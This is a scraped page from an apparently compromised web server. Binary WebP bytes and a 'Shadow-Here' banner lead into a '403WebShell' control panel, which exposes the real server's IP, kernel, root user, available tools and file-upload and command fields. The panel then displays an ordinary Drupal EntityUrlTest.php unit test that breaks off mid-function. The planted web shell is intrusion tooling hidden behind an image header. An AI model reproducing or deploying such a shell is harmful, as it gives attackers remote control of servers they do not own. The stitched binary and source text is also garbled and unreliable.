RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/tests/Drupal/Tests/Core/Entity/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/tests/Drupal/Tests/Core/Entity//EntityUrlTest.php
<?php

namespace Drupal\Tests\Core\Entity;

use Drupal\Core\DependencyInjection\ContainerBuilder;
use Drupal\Core\Entity\EntityBase;
use Drupal\Core\Entity\EntityMalformedException;
use Drupal\Core\Entity\EntityTypeBundleInfoInterface;
use Drupal\Core\Entity\EntityTypeInterface;
use Drupal\Core\Entity\Exception\UndefinedLinkTemplateException;
use Drupal\Core\Entity\RevisionableInterface;
use Drupal\Core\GeneratedUrl;
use Drupal\Core\Routing\UrlGeneratorInterface;
use Drupal\Core\Url;
use Drupal\Tests\UnitTestCase;
use Symfony\Component\Routing\Exception\MissingMandatoryParametersException;

/**
 * Tests URL handling of the \Drupal\Core\Entity\EntityBase class.
 *
 * @coversDefaultClass \Drupal\Core\Entity\EntityBase
 *
 * @group Entity
 */
class EntityUrlTest extends UnitTestCase {

  /**
   * The entity type bundle info service mock used in this test.
   *
   * @var \Prophecy\Prophecy\ProphecyInterface|\Drupal\Core\Entity\EntityTypeBundleInfoInterface
   */
  protected $entityTypeBundleInfo;

  /**
   * The ID of the entity type used in this test.
   *
   * @var string
   */
  protected $entityTypeId = 'test_entity';

  /**
   * The entity type mock used in this test.
   *
   * @var \Prophecy\Prophecy\ProphecyInterface|\Drupal\Core\Entity\EntityTypeInterface
   */
  protected $entityType;

  /**
   * The ID of the entity used in this test.
   *
   * @var int
   */
  protected $entityId = 1;

  /**
   * The revision ID of the entity used in this test.
   *
   * @var int
   */
  protected $revisionId = 2;

  /**
   * The language code of the entity used in this test.
   *
   * @var string
   */
  protected $langcode = 'en';

  /**
   * Indicator for default revisions.
   *
   * @var true
   */
  const DEFAULT_REVISION = TRUE;

  /**
   * Indicator for non-default revisions.
   *
   * @var false
   */
  const NON_DEFAULT_REVISION = FALSE;

  /**
   * Indicator that the test entity type has no bundle key.
   *
   * @var false
   */
  const HAS_NO_BUNDLE_KEY = FALSE;

  /**
   * Indicator that the test entity type has a bundle key.
   *
   * @var true
   */
  const HAS_BUNDLE_KEY = TRUE;

  /**
   * Tests the toUrl() method without an entity ID.
   *
   * @covers ::toUrl
   */
  public function testToUrlNoId() {
    $entity = $this->getEntity(EntityBase::class, []);

    $this->expectException(EntityMalformedException::class);
    $this->expectExceptionMessage('The "' . $this->entityTypeId . '" entity cannot have a URI as it does not have an ID');
    $entity->toUrl();
  }

  /**
   * Tests the toUrl() method with simple link templates.
   *
   * @param string $link_template
   *   The link template to test.
   * @param string $expected_route_name
   *   The expected route name of the generated URL.
   *
   * @dataProvider providerTestToUrlLinkTemplates
   *
   * @covers ::toUrl
   * @covers ::linkTemplates
   * @covers ::urlRouteParameters
   */
  public function testToUrlLinkTemplates($link_template, $expected_route_name) {
    $values = ['id' => $this->entityId, 'langcode' => $this->langcode];
    $entity = $this->getEntity(EntityBase::class, $values);
    $this->registerLinkTemplate($link_template);

    /** @var \Drupal\Core\Url $url */
    $url = $entity->toUrl($link_template);
    // The entity ID is the sole route parameter for the link templates tested
    // here.
    $this->assertUrl($expected_route_name, ['test_entity' => $this->entityId], $entity, TRUE, $url);
  }

  /**
   * Provides data for testToUrlLinkTemplates().
   *
   * @return array
   *   An array of test cases for testToUrlLinkTemplates().
   */
  public function providerTestToUrlLinkTemplates() {
    $test_cases = [];

    $test_cases['canonical'] = ['canonical', 'entity.test_entity.canonical'];
    $test_cases['version-history'] = ['version-history', 'entity.test_entity.version_history'];
    $test_cases['edit-form'] = ['edit-form', 'entity.test_entity.edit_form'];
    $test_cases['delete-form'] = ['delete-form', 'entity.test_entity.delete_form'];
    $test_cases['revision'] = ['revision', 'entity.test_entity.revision'];

    return $test_cases;
  }

  /**
   * Tests the toUrl() method with the 'revision' link template.
   *
   * @param bool $is_default_revision
   *   Whether or not the mock entity should be the default revision.
   * @param string $link_template
   *   The link template to test.
   * @param string $expected_route_name
   *   The expected route name of the generated URL.
   * @param array $expected_route_parameters
   *   The expected route parameters of the generated URL.
   *
   * @dataProvider providerTestToUrlLinkTemplateRevision
   *
   * @covers ::toUrl
   * @covers ::linkTemplates
   * @covers ::urlRouteParameters
   */
  public function testToUrlLinkTemplateRevision($is_default_revision, $link_template, $expected_route_name, array $expected_route_parameters) {
    $values = ['id' => $this->entityId, 'langcode' => $this->langcode];
    $entity = $this->getEntity(RevisionableEntity::class, $values);
    $entity->method('getRevisionId')->willReturn($this->revisionId);
    $entity->method('isDefaultRevision')->willReturn($is_default_revision);
    $this->registerLinkTemplate($link_template);
    // Even though this is tested with both the 'canonical' and the 'revision'
    // template registered with the entity, we ask for the 'revision' link
    // template instead of 'canonical', to test that it falls back to the
    // 'canonical' link template in case of the default revision.
    $link_template = $link_template === 'canonical' ? 'revision' : $link_template;
    /** @var \Drupal\Core\Url $url */
    $url = $entity->toUrl($link_template);
    $this->assertUrl($expected_route_name, $expected_route_parameters, $entity, TRUE, $url);

  }

  /**
   * Provides data for testToUrlLinkTemplateRevision().
   *
   * @return array
   *   An array of test cases for testToUrlLinkTemplateRevision().
   */
  public function providerTestToUrlLinkTemplateRevision() {
    $test_cases = [];

    $route_parameters = ['test_entity' => $this->entityId];
    $test_cases['default_revision'] = [static::DEFAULT_REVISION, 'canonical', 'entity.test_entity.canonical', $route_parameters];
    // Add the revision ID to the expected route parameters.
    $route_parameters['test_entity_revision'] = $this->revisionId;
    $test_cases['non_default_revision'] = [static::NON_DEFAULT_REVISION, 'revision', 'entity.test_entity.revision', $route_parameters];
    $test_cases['revision-delete'] = [static::NON_DEFAULT_REVISION, 'revision-delete-form', 'entity.test_entity.revision_delete_form', $route_parameters];

    return $test_cases;
  }

  /**
   * Tests the toUrl() method with link templates without an entity ID.
   *
   * @param string $link_template
   *   The link template to test.
   * @param string $expected_route_name
   *   The expected route name of the generated URL.
   *
   * @dataProvider providerTestToUrlLinkTemplateNoId
   *
   * @covers ::toUrl
   * @covers ::linkTemplates
   * @covers ::urlRouteParameters
   */
  public function testToUrlLinkTemplateNoId($link_template, $expected_route_name) {
    $entity = $this->getEntity(EntityBase::class, ['id' => $this->entityId]);
    $this->registerLinkTemplate($link_template);

    /** @var \Drupal\Core\Url $url */
    $url = $entity->toUrl($link_template);
    $this->assertUrl($expected_route_name, [], $entity, FALSE, $url);
  }

  /**
   * Provides data for testToUrlLinkTemplateNoId().
   *
   * @return array
   *   An array of test cases for testToUrlLinkTemplateNoId().
   */
  public function providerTestToUrlLinkTemplateNoId() {
    $test_cases = [];

    $test_cases['collection'] = ['collection', 'entity.test_entity.collection'];
    $test_cases['add-page'] = ['add-page', 'entity.test_entity.add_page'];

    return $test_cases;
  }

  /**
   * Tests the toUrl() method with the 'revision' link template.
   *
   * @param bool $has_bundle_key
   *   Whether or not the mock entity type should have a bundle key.
   * @param string|null $bundle_entity_type
   *   The ID of the bundle entity type of the mock entity type, or NULL if the
   *   mock entity type should not have a bundle entity type.
   * @param string $bundle_key
   *   The bundle key of the mock entity type or FALSE if the entity type should
   *   not have a bundle key.
   * @param array $expected_route_parameters
   *   The expected route parameters of the generated URL.
   *
   * @dataProvider providerTestToUrlLinkTemplateAddForm
   *
   * @covers ::toUrl
   * @covers ::linkTemplates
   * @covers ::urlRouteParameters
   */
  public function testToUrlLinkTemplateAddForm($has_bundle_key, $bundle_entity_type, $bundle_key, $expected_route_parameters) {
    $values = ['id' => $this->entityId, 'langcode' => $this->langcode];
    $entity = $this->getEntity(EntityBase::class, $values);
    $this->entityType->hasKey('bundle')->willReturn($has_bundle_key);
    $this->entityType->getBundleEntityType()->willReturn($bundle_entity_type);
    $this->entityType->getKey('bundle')->willReturn($bundle_key);
    $link_template = 'add-form';
    $this->registerLinkTemplate($link_template);

    /** @var \Drupal\Core\Url $url */
    $url = $entity->toUrl($link_template);
    $this->assertUrl('entity.test_entity.add_form', $expected_route_parameters, $entity, FALSE, $url);
  }

  /**
   * Provides data for testToUrlLinkTemplateAddForm().
   *
   * @return array
   *   An array of test cases for testToUrlLinkTemplateAddForm().
   */
  public function providerTestToUrlLinkTemplateAddForm() {
    $test_cases = [];

    $route_parameters = [];
    $test_cases['no_bundle_key'] = [static::HAS_NO_BUNDLE_KEY, NULL, FALSE, $route_parameters];

    $route_parameters = ['type' => $this->entityTypeId];
    $test_cases['bundle_entity_type'] = [static::HAS_BUNDLE_KEY, 'type', FALSE, $route_parameters];
    $test_cases['bundle_key'] = [static::HAS_BUNDLE_KEY, NULL, 'type', $route_parameters];

    return $test_cases;
  }

  /**
   * Tests the toUrl() method with neither link templates nor a URI callback.
   *
   * @param array $bundle_info
   *   An array of bundle info to register.
   * @param string $uri_callback
   *   The entity type URI callback to register.
   *
   * @dataProvider providerTestToUrlUriCallbackUndefined
   *
   * @covers ::toUrl
   * @covers ::linkTemplates
   */
  public function testToUrlUriCallbackUndefined(array $bundle_info, $uri_callback) {
    $entity = $this->getEntity(EntityBase::class, ['id' => $this->entityId]);

    $this->registerBundleInfo($bundle_info);
    $this->entityType->getUriCallback()->willReturn($uri_callback);

    $link_template = 'canonical';
    $this->expectException(UndefinedLinkTemplateException::class);
    $this->expectExceptionMessage("No link template '$link_template' found for the '$this->entityTypeId' entity type");
    $entity->toUrl($link_template);
  }

  /**
   * Provides data for testToUrlUriCallbackUndefined().
   *
   * @return array
   *   An array of test cases for testToUrlUriCallbackUndefined().
   */
  public function providerTestToUrlUriCallbackUndefined() {
    $test_cases = [];

    $test_cases['no_callback'] = [[], NULL];
    $test_cases['uri_callback'] = [[], 'not_a_callable'];
    $test_cases['bundle_uri_callback'] = [['uri_callback' => 'not_a_callable'], NULL];

    return $test_cases;
  }

  /**
   * Tests the toUrl() method with a URI callback.
   *
   * @param array $bundle_info
   *   An array of bundle info to register.
   * @param string $uri_callback
   *   The entity type URI callback to register.
   *
   * @covers ::toUrl
   * @covers ::linkTemplates
   *
   * @dataProvider providerTestToUrlUriCallback
   */
  public function testToUrlUriCallback(array $bundle_info, $uri_callback) {
    $entity = $this->getEntity(EntityBase::class, ['id' => $this->entityId, 'langcode' => $this->langcode]);

    $this->registerBundleInfo($bundle_info);
    $this->entityType->getUriCallback()->willReturn($uri_callback);

    /** @var \Drupal\Core\Url $url */
    $url = $entity->toUrl('canonical');
    $this->assertUrl('<none>', [], $entity, TRUE, $url);
  }

  /**
   * Provides data for testToUrlUriCallback().
   *
   * @return array
   *   An array of test cases for testToUrlUriCallback().
   */
  public function providerTestToUrlUriCallback() {
    $test_cases = [];

    $uri_callback = function () {
      return Url::fromRoute('<none>');
    };
    $test_cases['uri_callback'] = [[], $uri_callback];
    $test_cases['bundle_uri_callback'] = [['uri_callback' => $uri_callback], NULL];

    return $test_cases;
  }

  /**
   * Tests the uriRelationships() method.
   *
   * @covers ::uriRelationships
   */
  public function testUriRelationships() {
    $entity = $this->getEntity(EntityBase::class, ['id' => $this->entityId]);

    $container_builder = new ContainerBuilder();
    $url_generator = $this->createMock(UrlGeneratorInterface::class);
    $container_builder->set('url_generator', $url_generator);
    \Drupal::setContainer($container_builder);

    // Test route with no mandatory parameters.
    $this->registerLinkTemplate('canonical');
    $route_name_0 = 'entity.' . $this->entityTypeId . '.canonical';
    $url_generator->expects($this->any())
      ->method('generateFromRoute')
      ->with($route_name_0)
      ->willReturn((new GeneratedUrl())->setGeneratedUrl('/entity_test'));
    $this->assertEquals(['canonical'], $entity->uriRelationships());

    // Test route with non-default mandatory parameters.
    $this->registerLinkTemplate('{non_default_parameter}');
    $route_name_1 = 'entity.' . $this->entityTypeId . '.{non_default_parameter}';
    $url_generator->expects($this->any())
      ->method('generateFromRoute')
      ->with($route_name_1)
      ->willThrowException(new MissingMandatoryParametersException());
    $this->assertEquals([], $entity->uriRelationships());
  }

  /**
   * Returns a mock entity for testing.
   *
   * @param string $class
   *   The class name to mock. Should be \Drupal\Core\Entity\Entity or a
   *   subclass.
   * @param array $values
   *   An array of entity values to construct the mock entity with.
   * @param array $methods
   *   (optional) An array of additional methods to mock on the entity object.
   *   The getEntityType() and entityTypeBundleInfo() methods are always mocked.
   *
   * @return \Drupal\Core\Entity\Entity|\PHPUnit\Framework\MockObject\MockObject
   */
  protected function getEntity($class, array $values, array $methods = []) {
    $methods = array_merge($methods, ['getEntityType', 'entityTypeBundleInfo']);

    // Prophecy does not allow prophesizing abstract classes while actually
    // calling their code. We use Prophecy below because that allows us to
    // add method prophecies later while still revealing the prophecy now.
    $entity = $this->getMockBuilder($class)
      ->setConstructorArgs([$values, $this->entityTypeId])
      ->onlyMethods($methods)
      ->getMockForAbstractClass();

    $this->entityType = $this->prophesize(EntityTypeInterface::class);
    $this->entityType->getLinkTemplates()->willReturn([]);
    $this->entityType->getKey('langcode')->willReturn(FALSE);
    $entity->method('getEntityType')->willReturn($this->entityType->reveal());

    $this->entityTypeBundleInfo = $this->prophesize(EntityTypeBundleInfoInterface::class);
    $entity->method('entityTypeBundleInfo')->willReturn($this->entityTypeBundleInfo->reveal());

    return $entity;
  }

  /**
   * Asserts that a given URL object matches the expectations.
   *
   * @param string $expected_route_name
   *   The expected route name of the generated URL.
   * @param array $expected_route_parameters
   *   The expected route parameters of the generated URL.
   * @param \Drupal\Core\Entity\Entity|\PHPUnit\Framework\MockObject\MockObject $entity
   *   The entity that is expected to be set as a URL option.
   * @param bool $has_language
   *   Whether or not the URL is expected to have a language option.
   * @param \Drupal\Core\Url $url
   *   The URL option to make the assertions on.
   *
   * @internal
   */
  protected function assertUrl(string $expected_route_name, array $expected_route_parameters, $entity, bool $has_language, Url $url): void {
    $this->assertEquals($expected_route_name, $url->getRouteName());
    $this->assertEquals($expected_route_parameters, $url->getRouteParameters());
    $this->assertEquals($this->entityTypeId, $url->getOption('entity_type'));
    $this->assertEquals($entity, $url->getOption('entity'));
    if ($has_language) {
      $this->assertEquals($this->langcode, $url->getOption('language')->getId());
    }
    else {
      $this->assertNull($url->getOption('language'));
    }
  }

  /**
   * Registers a link template for the mock entity.
   *
   * @param string $link_template
   *   The link template to register.
   */
  protected function registerLinkTemplate($link_template) {
    $link_templates = [
      // The path is actually never used because we never invoke the URL
      // generator but perform assertions on the URL object directly.
